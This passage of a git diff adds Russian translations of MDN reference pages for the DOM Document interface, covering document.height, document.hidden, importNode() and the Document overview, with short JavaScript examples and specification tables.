+<p><strong>Заметка: </strong>Начиная с  {{Gecko("6.0")}},<code> document.height </code> больше не поддерживается. Используйте <code>document.body.clientHeight</code>. Также смотрите: {{domxref("element.clientHeight")}}.</p>
+</div>
+
+<p>Возвращает высоту {{domxref("document")}} объекта. В большинстве случаев, она соответствует {{HTMLElement("body")}} элементу документа.</p>
+
+<h2 id="Syntax" name="Syntax">Синтакс</h2>
+
+<pre class="syntaxbox"><em>height_value</em> = document.height
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">// вывести высоту документа
+alert(document.height);
+</pre>
+
+<h2 id="Альтернативы">Альтернативы</h2>
+
+<pre class="syntaxbox">document.body.clientHeight
+document.documentElement.clientHeight
+document.documentElement.scrollHeight
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<p>HTML5</p>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.height")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("document.width")}}</li>
+ <li>{{domxref("Element.clientHeight")}}</li>
+ <li>{{domxref("Element.scrollHeight")}}</li>
+</ul>
diff --git a/files/ru/web/api/document/hidden/index.html b/files/ru/web/api/document/hidden/index.html
new file mode 100644
index 0000000000..10dd2f8171
--- /dev/null
+++ b/files/ru/web/api/document/hidden/index.html
@@ -0,0 +1,43 @@
+---
+title: Document.hidden
+slug: Web/API/Document/hidden
+translation_of: Web/API/Document/hidden
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p>Доступное только для чтения свойство <code><strong>Document.hidden</strong></code> возвращает булево значение, показывающее является ли страница скрытой или нет.</p>
+
+<h2 id="Синтакс">Синтакс</h2>
+
+<pre class="syntaxbox">var <em>boolean</em> = document.hidden</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush:js;">document.addEventListener("visibilitychange", function() {
+  console.log( document.hidden );
+  // Modify behavior...
+});
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Page Visibility API','#dom-document-hidden', 'Document.hidden')}}</td>
+   <td>{{Spec2('Page Visibility API')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Document.hidden")}}</p>
diff --git a/files/ru/web/api/document/importnode/index.html b/files/ru/web/api/document/importnode/index.html
new file mode 100644
index 0000000000..11cfa529ad
--- /dev/null
+++ b/files/ru/web/api/document/importnode/index.html
@@ -0,0 +1,91 @@
+---
+title: Document.importNode()
+slug: Web/API/Document/importNode
+translation_of: Web/API/Document/importNode
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary">Метод <code><strong>importNode()</strong></code>объекта {{domxref("Document")}} создает копию {{domxref("Node")}} или {{domxref("DocumentFragment")}} из другого документа, для последующей вставки в текущий документ.</span></p>
+
+<p>Импортированный узел пока еще не включен в дерево документов. Чтобы добавить его, вам необходимо вызвать один из методов вставки, например,  {{domxref("Node.appendChild", "appendChild()")}} или {{domxref("Node.insertBefore", "insertBefore()")}} с узлом, который <em>находится</em> в дереве документов.</p>
+
+<p>В отличие от {{domxref("document.adoptNode()")}}, исходный узел не удаляется из исходного документа. Импортированный узел является клоном оригинала.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>node</var> = <var>document</var>.importNode(<var>externalNode</var>, <var>deep</var>);
+</pre>
+
+<dl>
+ <dt><var>node</var></dt>
+ <dd>Копируемый узел из области видимости импортируемого документа . Свойство {{domxref("Node.parentNode")}} узла = <code>null</code>, до тех пор, пока он не будет вставлен в дерево документа.</dd>
+ <dt><var>externalNode</var></dt>
+ <dd>Внешний <code>Node</code> или <code>DocumentFragment</code>, который импортируется в настоящий документ.</dd>
+ <dt><var>deep</var></dt>
+ <dd>Булеан, контролирующий, необходимо ли импортировать всё DOM поддерево узла  <var>externalNode</var>.
+ <ul>
+  <li>Если <em>deep </em>установлен в <code>true</code>, <var>узел externalNode</var> и все его потомки будут скопированы.</li>
+  <li>Если <em>deep </em>установлен в <code>false</code>, ипморируется только <var>externalNode</var>  — новый узел не будет содержать потомков.</li>
+ </ul>
+ </dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> In the DOM4 specification, <var>deep</var> was an optional argument with a default value of <code>true</code>.</p>
+
+<p>This default has changed in the latest spec — the new default value is <strong><code>false</code></strong>. Though it's still an optional argument, you should always provide the <code>deep</code> argument for backward <em>and</em> forward compatibility. With Gecko 28.0 {{geckoRelease(28)}}, the console warns developers not to omit the argument. Starting with Gecko 29.0 {{geckoRelease(29)}}), a shallow clone is defaulted instead of a deep clone.</p>
+</div>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">var iframe = document.querySelector("iframe");
+var oldNode = iframe.contentWindow.document.getElementById("myNode");
+var newNode = document.importNode(oldNode, true);
+document.getElementById("container").appendChild(newNode);
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+
+
+<p>Nodes from external documents should be cloned using <a href="/en-US/docs/Web/API/Document/importNode" title="The Document object's importNode() method creates a copy of a Node or DocumentFragment from another document, to be inserted into the current document later."><code>document.importNode()</code></a> (or adopted using <a href="/en-US/docs/Web/API/Document/adoptNode" title="Document.adoptNode() transfers a node from another document into the method's document. The adopted node and its subtree is removed from its original document (if any), and its ownerDocument is changed to the current document. The node can then be inserted into the current document."><code>document.adoptNode()</code></a>) before they can be inserted into the current document. For more on the <a href="/en-US/docs/Web/API/Node/ownerDocument" title="The Node.ownerDocument read-only property returns the top-level document object for this node."><code>Node.ownerDocument</code></a> issues, see the <a class="external" href="http://www.w3.org/DOM/faq.html#ownerdoc" rel="noopener">W3C DOM FAQ</a>.</p>
+
+<p>Firefox doesn't currently enforce this rule (it did for a while during the development of Firefox 3, but too many sites break when this rule is enforced). We encourage Web developers to fix their code to follow this rule for improved future compatibility.</p>
+
+
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-document-importnode", "document.importNode()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Core", "core.html#Core-Document-importNode", "document.importNode()")}}</td>
+   <td>{{Spec2("DOM2 Core")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Document.importNode")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("document.adoptNode()")}}</li>
+ <li>{{domxref("Node.appendChild()")}}</li>
+ <li>{{domxref("Node.insertBefore()")}}</li>
+</ul>
diff --git a/files/ru/web/api/document/index.html b/files/ru/web/api/document/index.html
new file mode 100644
index 0000000000..a219bd597c
--- /dev/null
+++ b/files/ru/web/api/document/index.html
@@ -0,0 +1,405 @@
+---
+title: Document
+slug: Web/API/Document
+tags:
+  - DOM
+translation_of: Web/API/Document
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<div></div>
+
+<p>Каждая веб-страница, которая загружается в браузер, имеет свой собственный объект <strong>document</strong>. Интерфейс документа служит точкой входа для получения содержимого веб-страницы (всего <a href="/en-US/docs/Using_the_W3C_DOM_Level_1_Core" title="Using_the_W3C_DOM_Level_1_Core">DOM</a> - дерева, включая такие элементы как {{HTMLElement("body")}} и {{HTMLElement("table")}}), <span id="result_box" lang="ru"><span>а также обеспечивает функциональность</span><span>, которая является</span> <span>глобальной для</span> <span>документа</span>, <span>например, для получения</span> <span>URL-адреса </span><span>страницы</span> <span>и</span>ли <span>создания новых элементов</span> <span>в документе</span></span>).</p>
+
+<p>Объект <strong>document</strong> может быть получен из разных API:</p>
+
+<ul>
+ <li>Чаще всего используется прямой доступ к объекту <strong>document</strong> из сценариев <a href="/en-US/docs/HTML/Element/Script" title="HTML/Element/Script">scripts</a> которые подгружаются документом. (Этот же объект доступен как {{domxref("window.document")}}.)</li>
+ <li>Через свойство <code><a href="/en-US/docs/Web/API/HTMLIFrameElement#Properties" title="DOM/HTMLIFrameElement#Properties">contentDocument</a></code> объекта iframe.</li>
+ <li>Как ответ <a href="/en-US/docs/Web/API/XMLHttpRequest#responseXML" title="XMLHttpRequest#responseXML"><code>responseXML</code></a> объекта  <a href="/en-US/docs/Web/API/XMLHttpRequest" title="XMLHttpRequest"><code>XMLHttpRequest.</code></a></li>
+ <li>Доступ к документу может быть получен из элемента или узла через свойство  {{domxref("Node.ownerDocument","ownerDocument")}}.</li>
+</ul>
+
+<p>В зависимости от вида документа (т.е. <a href="/en-US/docs/HTML" title="HTML">HTML</a> или <a href="/en-US/docs/XML" title="XML">XML</a>) у объекта <strong>document</strong> могут быть доступны разные API.</p>
+
+<ul>
+ <li>Все объекты документов реализуют интерфейс <a href="http://dom.spec.whatwg.org/#interface-document"><code>Document</code></a> (и следовательно {{domxref("Node")}} и {{domxref("EventTarget")}} интерфейсы). Таким образом основные свойства и методы, описанные на этой странице, доступны для всех видов документов.</li>
+ <li>В современных браузерах некоторые документы (т.е. те, которые содержат контент <code>text/html</code>) также реалируют  {{domxref("HTMLDocument")}} интерфейс.</li>
+ <li>В современных браузерах SVG документы реализуют {{domxref("SVGDocument")}} интерфейс.</li>
+</ul>
+
+<p>В будущем все эти интерфейсы будут сведены в один интерфейс - <code>Document</code>.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<div class="note">
+<p><strong>Примечание:</strong> Интерфейс <code>Document</code> наследует также интерфейсы {{domxref("Node")}} и {{domxref("EventTarget")}}.</p>
+</div>
+
+<dl>
+ <dt>{{domxref("Document.all")}} {{Deprecated_inline}} {{non-standard_inline}}</dt>
+ <dd>Обеспечивает доступ ко всем элементам с идентификаторами (id). Это нестандартный интерфейс, вместо него рекомендуется использовать метод {{domxref("Document.getElementById()")}}.</dd>
+ <dt>{{domxref("Document.async")}} {{Deprecated_inline}}</dt>
+ <dd>Используется с {{domxref("document.load")}} чтобы обозначить асинхронный запрос.</dd>
+ <dt>{{domxref("Document.characterSet")}} {{experimental_inline}}</dt>
+ <dd>Возвращает кодировку документа.</dd>
+ <dt>{{domxref("Document.compatMode")}} {{experimental_inline}}</dt>
+ <dd>Указывает в каком режиме (Quirks или Strict) рендерился документ.</dd>
+ <dt>{{domxref("Document.contentType")}} {{experimental_inline}}</dt>
+ <dd>Возвращает Content-Type из MIME заголовка текущего документа.</dd>
+ <dt>{{domxref("Document.doctype")}}</dt>
+ <dd>Возвращает Document Type Definition (DTD) текущего документа .</dd>
+ <dt>{{domxref("Document.documentElement")}}</dt>
+ <dd>Возвращает Element, который является первым дочерним элементом документа. Для HTML документов это HTML элемент.</dd>
+ <dt>{{domxref("Document.documentURI")}}</dt>
+ <dd>Возвращает URL документа.</dd>
+ <dt>{{domxref("Document.domConfig")}} {{Deprecated_inline}}</dt>
+ <dd>Должен вернуть  {{domxref("DOMConfiguration")}} объект.</dd>
+ <dt>{{domxref("Document.implementation")}}</dt>
+ <dd>Возвращает DOM implementation связанную с текущим документом.</dd>
+ <dt>{{domxref("Document.inputEncoding")}} {{Deprecated_inline}}</dt>
+ <dd>Возвращает кодировку, которая использовалась во время парсинга документа.</dd>
+ <dt>{{domxref("Document.lastStyleSheetSet")}}</dt>
+ <dd>Возвращает имя последнего включенного набора таблиц стилей. Имеет значение <code>null</code> , пока таблица стилей не будет изменена путем установки значения {{domxref("Document.selectedStyleSheetSet","selectedStyleSheetSet")}}.</dd>
+ <dt>{{domxref("Document.mozSyntheticDocument")}} {{non-standard_inline}} {{gecko_minversion_inline("8.0")}}</dt>
+ <dd><code>true</code> если этот документ является синтетическим, например, отдельные изображения, видео, аудио файлы, или тому подобные.</dd>
+ <dt>{{domxref("Document.mozFullScreen")}} {{non-standard_inline}} {{gecko_minversion_inline("9.0")}}</dt>
+ <dd><code>true</code> когда документ находится в  {{domxref("Using_full-screen_mode","full-screen mode")}}.</dd>
+ <dt>{{domxref("Document.mozFullScreenElement")}} {{non-standard_inline}} {{gecko_minversion_inline("9.0")}}</dt>
+ <dd>Элемент, который в данный момент находится в полноэкранном режиме для этого документа.</dd>
+ <dt>{{domxref("Document.mozFullScreenEnabled")}} {{non-standard_inline}} {{gecko_minversion_inline("9.0")}}</dt>
+ <dd><code>true</code> if calling {{domxref("element.mozRequestFullscreen()")}} would succeed in the curent document.</dd>
+ <dt>{{domxref("Document.pointerLockElement")}} {{experimental_inline}}</dt>
+ <dd>Returns the element set as the target for mouse events while the pointer is locked. <code>null</code> if lock is pending, pointer is unlocked, or if the target is in another document.</dd>
+ <dt>{{domxref("Document.preferredStyleSheetSet")}}</dt>
+ <dd>Returns the preferred style sheet set as specified by the page author.</dd>
+ <dt>{{domxref("Document.selectedStyleSheetSet")}}</dt>
+ <dd>Returns which style sheet set is currently in use.</dd>
+ <dt>{{domxref("Document.styleSheets")}}</dt>
+ <dd>Returns a list of the style sheet objects on the current document.</dd>
+ <dt>{{domxref("Document.styleSheetSets")}}</dt>
+ <dd>Returns a list of the style sheet sets available on the document.</dd>
+ <dt>{{domxref("Document.xmlEncoding")}} {{Deprecated_inline}}</dt>
+ <dd>Returns the encoding as determined by the XML declaration.</dd>
+ <dt>{{domxref("Document.xmlStandalone")}} {{obsolete_inline("10.0")}}</dt>
+ <dd>Returns <code>true</code> if the XML declaration specifies the document to be standalone (<em>e.g.,</em> An external part of the DTD affects the document's content), else <code>false</code>.</dd>
+ <dt>{{domxref("Document.xmlVersion")}} {{obsolete_inline("10.0")}}</dt>
+ <dd>Returns the version number as specified in the XML declaration or <code>"1.0"</code> if the declaration is absent.</dd>
+</dl>
+
+<p>The <code>Document</code> interface is extended with the {{domxref("ParentNode")}} interface:</p>
+
+<p>{{page("/en-US/docs/Web/API/ParentNode","Properties")}}</p>
+
+<h3 id="Extension_for_HTML_documents">Extension for HTML documents</h3>
+
+<p>The <code>Document</code> interface for HTML documents inherit from the {{domxref("HTMLDocument")}} interface or, since HTML5,  is extended for such documents:</p>
+
+<dl>
+ <dt>{{domxref("Document.activeElement")}}</dt>
+ <dd>Returns the currently focused element.</dd>
+ <dt>{{domxref("Document.alinkColor")}} {{Deprecated_inline}}</dt>
+ <dd>Returns or sets the color of active links in the document body.</dd>
+ <dt>{{domxref("Document.anchors")}}</dt>
+ <dd>Returns a list of all of the anchors in the document.</dd>
+ <dt>{{domxref("Document.applets")}} {{Deprecated_inline}}</dt>
+ <dd>Returns an ordered list of the applets within a document.</dd>
+ <dt>{{domxref("Document.bgColor")}} {{Deprecated_inline}}</dt>
+ <dd>Gets/sets the background color of the current document.</dd>
+ <dt>{{domxref("Document.body")}}</dt>
+ <dd>Returns the {{HTMLElement("body")}} element of the current document.</dd>
+ <dt>{{domxref("Document.cookie")}}</dt>
+ <dd>Returns a semicolon-separated list of the cookies for that document or sets a single cookie.</dd>
+ <dt>{{domxref("Document.defaultView")}}</dt>
+ <dd>Returns a reference to the window object.</dd>
+ <dt>{{domxref("Document.designMode")}}</dt>
+ <dd>Gets/sets the ability to edit the whole document.</dd>
+ <dt>{{domxref("Document.dir")}}</dt>
+ <dd>Gets/sets directionality (rtl/ltr) of the document.</dd>
+ <dt>{{domxref("Document.domain")}}</dt>
+ <dd>Returns the domain of the current document.</dd>
+ <dt>{{domxref("Document.embeds")}}</dt>
+ <dd>Returns a list of the embedded {{HTMLElement('embed')}} elements within the current document.</dd>
+ <dt>{{domxref("Document.fgColor")}} {{Deprecated_inline}}</dt>
+ <dd>Gets/sets the foreground color, or text color, of the current document.</dd>
+ <dt>{{domxref("Document.forms")}}</dt>
+ <dd>Returns a list of the {{HTMLElement("form")}} elements within the current document.</dd>
+ <dt>{{domxref("Document.head")}}</dt>
+ <dd>Returns the {{HTMLElement("head")}} element of the current document.</dd>
+ <dt>{{domxref("Document.height")}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Gets/sets the height of the current document.</dd>
+ <dt>{{domxref("Document.images")}}</dt>
+ <dd>Returns a list of the images in the current document.</dd>
+ <dt>{{domxref("Document.lastModified")}}</dt>
+ <dd>Returns the date on which the document was last modified.</dd>
+ <dt>{{domxref("Document.linkColor")}} {{Deprecated_inline}}</dt>
+ <dd>Gets/sets the color of hyperlinks in the document.</dd>
+ <dt>{{domxref("Document.links")}}</dt>
+ <dd>Returns a list of all the hyperlinks in the document.</dd>
+ <dt>{{domxref("Document.location")}}</dt>
+ <dd>Returns the URI of the current document.</dd>
+ <dt>{{domxref("Document.plugins")}}</dt>
+ <dd>Returns a list of the available plugins.</dd>
+ <dt>{{domxref("Document.readyState")}} {{gecko_minversion_inline("1.9.2")}}</dt>
+ <dd>Returns loading status of the document.</dd>
+ <dt>{{domxref("Document.referrer")}}</dt>
+ <dd>Returns the URI of the page that linked to this page.</dd>
+ <dt>{{domxref("Document.scripts")}}</dt>
+ <dd>Returns all the {{HTMLElement("script")}} elements on the document.</dd>
+ <dt>{{domxref("Document.title")}}</dt>
+ <dd>Returns the title of the current document.</dd>
+ <dt>{{domxref("Document.URL")}}</dt>
+ <dd>Returns a string containing the URL of the current document.</dd>
+ <dt>{{domxref("Document.vlinkColor")}} {{Deprecated_inline}}</dt>
+ <dd>Gets/sets the color of visited hyperlinks.</dd>
+ <dt>{{domxref("Document.width")}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Returns the width of the current document.</dd>
+</dl>
+
+<h3 id="Event_handlers" name="Event_handlers">Event handlers</h3>
+
+<dl>
+ <dt>{{domxref("Document.onpointerlockchange")}} {{experimental_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("pointerlockchange")}} event.</dd>
+ <dt>{{domxref("Document.onpointerlockerror")}} {{experimental_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("pointerlockerror")}} event.</dd>
+ <dt>{{domxref("Document.onreadystatechange")}} {{gecko_minversion_inline("1.9.2")}}</dt>
+ <dd>Returns the event handling code for the <code>readystatechange</code> event.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Methods</h2>
+
+<div class="note">
+<p><strong>Note:</strong> The <code>Document</code> interface also inherits from the {{domxref("Node")}} and {{domxref("EventTarget")}} interfaces.</p>
+</div>
+
+<dl>
+ <dt>{{domxref("Document.adoptNode","Document.adoptNode(Node node)")}}</dt>
+ <dd>Adopt node from an external document.</dd>
+ <dt>{{domxref("Document.captureEvents","Document.captureEvents(String eventName)")}} {{Deprecated_inline}}</dt>
+ <dd>See {{domxref("window.captureEvents")}}.</dd>
+ <dt>{{domxref("Document.caretPositionFromPoint","Document.caretPositionFromPoint(Number x, Number y)")}}</dt>
+ <dd>Gets a {{domxref("CaretPosition")}} based on two coordinates.</dd>
+ <dt>{{domxref("Document.createAttribute","Document.createAttribute(String name)")}}</dt>
+ <dd>Creates a new {{domxref("Attr")}} object and returns it.</dd>
+ <dt>{{domxref("Document.createAttributeNS","Document.createAttributeNS(String namespace, String name)")}}</dt>
+ <dd>Creates a new attribute node in a given namespace and returns it.</dd>
+ <dt>{{domxref("Document.createCDATASection","Document.createCDATASection(String data)")}}</dt>
+ <dd>Creates a new CDATA node and returns it.</dd>
+ <dt>{{domxref("Document.createComment","Document.createComment(String comment)")}}</dt>
+ <dd>Creates a new comment node and returns it.</dd>
+ <dt>{{domxref("Document.createDocumentFragment()")}}</dt>
+ <dd>Creates a new document fragment.</dd>
+ <dt>{{domxref("Document.createElement","Document.createElement(String name)")}}</dt>
+ <dd>Creates a new element with the given tag name.</dd>
+ <dt>{{domxref("Document.createElementNS","Document.createElementNS(String namespace, String name)")}}</dt>
+ <dd>Creates a new element with the given tag name and namespace URI.</dd>
+ <dt>{{domxref("Document.createEntityReference","Document.createEntityReference(String name)")}} {{obsolete_inline}}</dt>
+ <dd>Creates a new entity reference object and returns it.</dd>
+ <dt>{{domxref("Document.createEvent","Document.createEvent(String interface)")}}</dt>
+ <dd>Creates an event object.</dd>
+ <dt>{{domxref("Document.createNodeIterator","Document.createNodeIterator(Node root[, Number whatToShow[, NodeFilter filter]])")}}</dt>
+ <dd>Creates a {{domxref("NodeIterator")}} object.</dd>
+ <dt>{{domxref("Document.createProcessingInstruction","Document.createProcessingInstruction(String target, String data)")}}</dt>
+ <dd>Creates a new {{domxref("ProcessingInstruction")}} object.</dd>
+ <dt>{{domxref("Document.createRange()")}}</dt>
+ <dd>Creates a {{domxref("Range")}} object.</dd>
+ <dt>{{domxref("Document.createTextNode","Document.createTextNode(String text)")}}</dt>
+ <dd>Creates a text node.</dd>
+ <dt>{{domxref("Document.createTreeWalker","Document.createTreeWalker(Node root[, Number whatToShow[, NodeFilter filter]])")}}</dt>
+ <dd>Creates a {{domxref("TreeWalker")}} object.</dd>
+ <dt>{{domxref("Document.elementFromPoint","Document.elementFromPoint(Number x, Number y)")}}</dt>
+ <dd>Returns the element visible at the specified coordinates.</dd>
+ <dt>{{domxref("Document.enableStyleSheetsForSet","Document.enableStyleSheetsForSet(String name)")}}</dt>
+ <dd>Enables the style sheets for the specified style sheet set.</dd>
+ <dt>{{domxref("Document.exitPointerLock()")}} {{experimental_inline}}</dt>
+ <dd>Release the pointer lock.</dd>
+ <dt>{{domxref("Document.getElementsByClassName","Document.getElementsByClassName(String className)")}}</dt>
+ <dd>Returns a list of elements with the given class name.</dd>
+ <dt>{{domxref("Document.getElementsByTagName","Document.getElementsByTagName(String tagName)")}}</dt>
+ <dd>Returns a list of elements with the given tag name.</dd>
+ <dt>{{domxref("Document.getElementsByTagNameNS","Document.getElementsByTagNameNS(String namespace, String tagName)")}}</dt>
+ <dd>Returns a list of elements with the given tag name and namespace.</dd>
+ <dt>{{domxref("Document.importNode","Document.importNode(Node node, Boolean deep)")}}</dt>
+ <dd>Returns a clone of a node from an external document.</dd>
+ <dt>{{domxref("document.mozSetImageElement")}} {{non-standard_inline}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Allows you to change the element being used as the background image for a specified element ID.</dd>
+ <dt>{{domxref("Document.normalizeDocument()")}} {{obsolete_inline}}</dt>
+ <dd>Replaces entities, normalizes text nodes, etc.</dd>
+ <dt>{{domxref("Document.releaseCapture()")}} {{non-standard_inline}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Releases the current mouse capture if it's on an element in this document.</dd>
+ <dt>{{domxref("Document.releaseEvents")}} {{non-standard_inline}} {{Deprecated_inline}}</dt>
+ <dd>See {{domxref("window.releaseEvents")}}.</dd>
+ <dt>{{domxref("document.routeEvent")}} {{non-standard_inline}} {{obsolete_inline(24)}}</dt>
+ <dd>See {{domxref("window.routeEvent")}}.</dd>
+</dl>
+
+<p>The <code>Document</code> interface is extended with the {{domxref("ParentNode")}} interface:</p>
+
+<dl>
+ <dt>{{domxref("Document.getElementById","Document.getElementById(String id)")}}</dt>
+ <dd>Returns an object reference to the identified element.</dd>
+ <dt>{{domxref("Document.querySelector","Document.querySelector(String selector)")}} {{gecko_minversion_inline("1.9.1")}}</dt>
+ <dd>Returns the first Element node within the document, in document order, that matches the specified selectors.</dd>
+ <dt>{{domxref("Document.querySelectorAll","Document.querySelectorAll(String selector)")}} {{gecko_minversion_inline("1.9.1")}}</dt>
+ <dd>Returns a list of all the Element nodes within the document that match the specified selectors.</dd>
+</dl>
+
+<p>The <code>Document</code> interface is extended with the {{domxref("XPathEvaluator")}} interface:</p>
+
+<dl>
+ <dt>{{domxref("Document.createExpression","Document.createExpression(String expression, XPathNSResolver resolver)")}}</dt>
+ <dd>Compiles an <code><a href="/en-US/docs/XPathExpression" title="XPathExpression">XPathExpression</a></code> which can then be used for (repeated) evaluations.</dd>
+ <dt>{{domxref("Document.createNSResolver","Document.createNSResolver(Node resolver)")}}</dt>
+ <dd>Creates an {{domxref("XPathNSResolver")}} object.</dd>
+ <dt>{{domxref("Document.evaluate","Document.evaluate(String expression, Node contextNode, XPathNSResolver resolver, Number type, Object result)")}}</dt>
+ <dd>Evaluates an XPath expression.</dd>
+</dl>
+
+<h3 id="Extension_for_HTML_documents_2">Extension for HTML documents</h3>
+
+<p>The <code>Document</code> interface for HTML documents inherit from the {{domxref("HTMLDocument")}} interface or, since HTML5,  is extended for such documents:</p>
+
+<dl>
+ <dt>{{domxref("Document.clear()")}} {{non-standard_inline}} {{Deprecated_inline}}</dt>
+ <dd>In majority of modern browsers, including recent versions of Firefox and Internet Explorer, this method does nothing.</dd>
+ <dt>{{domxref("Document.close()")}}</dt>
+ <dd>Closes a document stream for writing.</dd>
+ <dt>{{domxref("Document.execCommand","Document.execCommand(String command[, Boolean showUI[, String value]])")}}</dt>
+ <dd>On an editable document, executes a formating command.</dd>
+ <dt>{{domxref("Document.getElementsByName","Document.getElementsByName(String name)")}}</dt>
+ <dd>Returns a list of elements with the given name.</dd>
+ <dt>{{domxref("Document.getSelection()")}}</dt>
+ <dd>Returns a {{domxref("Selection")}} object related to text selected in the document.</dd>
+ <dt>{{domxref("Document.hasFocus()")}}</dt>
+ <dd>Returns <code>true</code> if the focus is currently located anywhere inside the specified document.</dd>
+ <dt>{{domxref("Document.open()")}}</dt>
+ <dd>Opens a document stream for writing.</dd>
+ <dt>{{domxref("Document.queryCommandEnabled","Document.queryCommandEnabled(String command)")}}</dt>
+ <dd>Returns true if the formating command can be executed on the current range.</dd>
+ <dt>{{domxref("Document.queryCommandIndeterm","Document.queryCommandIndeterm(String command)")}}</dt>
+ <dd>Returns true if the formating command is in an indeterminate state on the current range.</dd>
+ <dt>{{domxref("Document.queryCommandState","Document.queryCommandState(String command)")}}</dt>
+ <dd>Returns true if the formating command has been executed on the current range.</dd>
+ <dt>{{domxref("Document.queryCommandSupported","Document.queryCommandSupported(String command)")}}</dt>
+ <dd>Returns true if the formating command is supported on the current range.</dd>
+ <dt>{{domxref("Document.queryCommandValue","Document.queryCommandValue(String command)")}}</dt>
+ <dd>Returns the current value of the current range for a formatting command.</dd>
+ <dt>{{domxref("Document.registerElement","Document.registerElement(String tagname[, Object options])")}}</dt>
+ <dd>Registers a new custom element in the browser and returns a constructor for the new element.</dd>
+ <dt>{{domxref("Document.write","Document.write(String text)")}}</dt>
+ <dd>Writes text in a document.</dd>
+ <dt>{{domxref("Document.writeln","Document.writeln(String text)")}}</dt>
+ <dd>Writes a line of text in a document.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1','#i-Document','Document')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition for the interface</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core','#i-Document','Document')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Supersede DOM 1</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core','#i-Document','Document')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Supersede DOM 2</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#interface-document','Document')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Intend to supersede DOM 3</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','dom.html#the-document-object','Document')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Turn the {{domxref("HTMLDocument")}} interface into a <code>Document</code> extension.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 XPath','xpath.html#XPathEvaluator','XPathEvaluator')}}</td>
+   <td>{{Spec2('DOM3 XPath')}}</td>
+   <td>Define the {{domxref("XPathEvaluator")}} interface which extend <code>Document</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML Editing','#dom-document-getselection','Document')}}</td>
+   <td>{{Spec2('HTML Editing')}}</td>
+   <td>Extend the <code>Document</code> interface</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View','#extensions-to-the-document-interface','Document')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Extend the <code>Document</code> interface</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM','#extensions-to-the-document-interface','Document')}}</td>
+   <td>{{Spec2('CSSOM')}}</td>
+   <td>Extend the <code>Document</code> interface</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Lock','#extensions-to-the-document-interface','Document')}}</td>
+   <td>{{Spec2('Pointer Lock')}}</td>
+   <td>Extend the <code>Document</code> interface</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<h3 id="Firefox_notes">Firefox notes</h3>
+
+<p>Mozilla defines a set of non-standard properties made only for XUL content:</p>
+
+<dl>
+ <dt>{{domxref("document.currentScript")}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Returns the {{HTMLElement("script")}} element that is currently executing.</dd>
+ <dt>{{domxref("document.documentURIObject")}} {{gecko_minversion_inline("1.9")}}</dt>
